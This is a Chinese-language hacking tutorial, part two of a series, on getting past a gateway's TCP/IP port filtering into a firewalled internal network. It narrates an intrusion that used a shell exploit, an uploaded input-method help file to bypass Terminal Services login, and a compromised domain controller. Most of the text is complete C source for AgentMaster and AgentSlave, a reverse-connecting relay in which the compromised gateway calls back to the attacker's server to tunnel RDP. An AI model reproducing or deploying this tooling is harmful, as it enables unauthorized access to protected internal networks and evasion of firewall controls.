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突破TCP-IP过滤-防火墙进入内网(二)

王朝vc·作者佚名  2006-01-08
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<<第二部分:利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网>>

事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:

http://www.patching.net/yc/yc8.ht1.jpg

上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

<1>我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。

<2>敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。

攻击流程如下:

<1>在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。

<2>在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]

<3>我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

<4>敌人网关上的AgentSlave连接到自己本身在内网的IP==>192.168.1.1:3389

<5>数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。

后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。

程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的]:

/******************************************************************************

Module Name:AgentMaster.c

Date:2001/4/16

CopyRight(c) eyas

说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个

scoket都连接成功后,开始转发数据

sock[0]是client==>sock[0]sock[1]是target==>sock[1]

******************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include "TCPDataRedird.c"

#pragma comment(lib,"ws2_32.lib")

#define TargetPort 3389//伪装的target的监听端口

#define LocalPort12345//等待AgentSlave来connect的端口

int main()

{

WSADATA wsd;

SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接

s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接

sock[2]={INVALID_SOCKET,INVALID_SOCKET};

struct sockaddr_in Local3389,Local1981,Attack,Slave;

int iAddrSize;

HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

hThreadT2C=NULL;//T2C=TargetToClient

DWORD dwThreadID;

__try

{

//load winsock library

if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

{

printf("\nWSAStartup() failed:%d",GetLastError());

__leave;

}

//create socket

s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(s3389==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//create socket

s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(s1981==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//fill the struct

Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

Local3389.sin_family=AF_INET;

Local3389.sin_port=htons(TargetPort);

Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

Local1981.sin_family=AF_INET;

Local1981.sin_port=htons(LocalPort);

//bind s3389 for attacker

if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

{

printf("\nbind() failed:%d",GetLastError());

__leave;

}

//listen for attacker to connect

if(listen(s3389,1)==SOCKET_ERROR)

{

printf("\nlisten() failed:%d",GetLastError());

__leave;

}

//bind s1981 for AgentSlave

if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

{

printf("\nbind() failed:%d",GetLastError());

__leave;

}

//listen for AgentSlave to connect

if(listen(s1981,1)==SOCKET_ERROR)

{

printf("\nlisten() failed:%d",GetLastError());

__leave;

}

//socket循环

while(1)

{

//wait for AgentSlave to connect

iAddrSize=sizeof(Slave);

sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

if(sock[1]==INVALID_SOCKET)

{

printf("\naccept() failed:%d",GetLastError());

break;

}

printf("\nAccept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr),

ntohs(Slave.sin_port));

//wait for Attacker to connect

iAddrSize=sizeof(Attack);

sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

if(sock[0]==INVALID_SOCKET)

{

printf("\naccept() failed:%d",GetLastError());

break;

}

printf("\nAccept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr),

ntohs(Attack.sin_port));

//创建两个线程进行数据转发

hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

//等待两个线程结束

WaitForSingleObject(hThreadC2T,INFINITE);

CloseHandle(hThreadC2T);

CloseHandle(hThreadT2C);

closesocket(sock[0]);

closesocket(sock[1]);

}//end of socket while

}//end of try

__finally

{

//clean all

if(s3389!=INVALID_SOCKET) closesocket(s3389);

if(s1981!=INVALID_SOCKET) closesocket(s1981);

if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

WSACleanup();

}

return 0;

}

/***********************************************************************************

Module:AgentSlave.c

Date:2001/4/17

Copyright(c)eyas

HomePage:www.patching.net

说明:这个程序负责连接最终目标,连接主控端,然后转发数据

这里连接到AgenrMaster的socket相当与sClient==>sock[0],

连接到最终目标的socoket是sTarget==>sock[1]

***********************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include "TCPDataRedird.c"

#pragma comment(lib,"ws2_32.lib")

#define TargetIP "192.168.1.3"

#define TargetPort (int)3389

#define AgentMasterIP "202.1.1.1"

#define AgentMasterPort (int)12345

int main()

{

WSADATA wsd;

SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET};

struct sockaddr_in Master,Target;

HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

hThreadT2C=NULL;//T2C=TargetToClient

DWORD dwThreadID;

__try

{

//load winsock library

if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

{

printf("\nWSAStartup() failed:%d",GetLastError());

__leave;

}

//循环

while(1)

{

//create client socket

sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(sock[0]==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//create target socket

sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(sock[1]==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//fill struct

Target.sin_family=AF_INET;

Target.sin_addr.s_addr=inet_addr(TargetIP);

Target.sin_port=htons(TargetPort);

Master.sin_family=AF_INET;

Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

Master.sin_port=htons(AgentMasterPort);

//connect to AgentMaster

if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR)

{

//连接失败后,等待一会儿再连

printf("\nconnect() to master failed:%d",GetLastError());

closesocket(sock[0]);

closesocket(sock[1]);

Sleep(5000);

continue;

}

printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

//connect to target

if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

{

printf("\nconnect() to target failed:%d",GetLastError());

__leave;

}

printf("\nconnect to %s %d success!",TargetIP,TargetPort);

//创建两个线程进行数据转发

hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

//等待两个线程结束

WaitForSingleObject(hThreadC2T,INFINITE);

CloseHandle(hThreadC2T);

CloseHandle(hThreadT2C);

closesocket(sock[0]);

closesocket(sock[1]);

}//end of while

}//end of try

__finally

{

if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

WSACleanup();

}

return 0;

}

 
 
 
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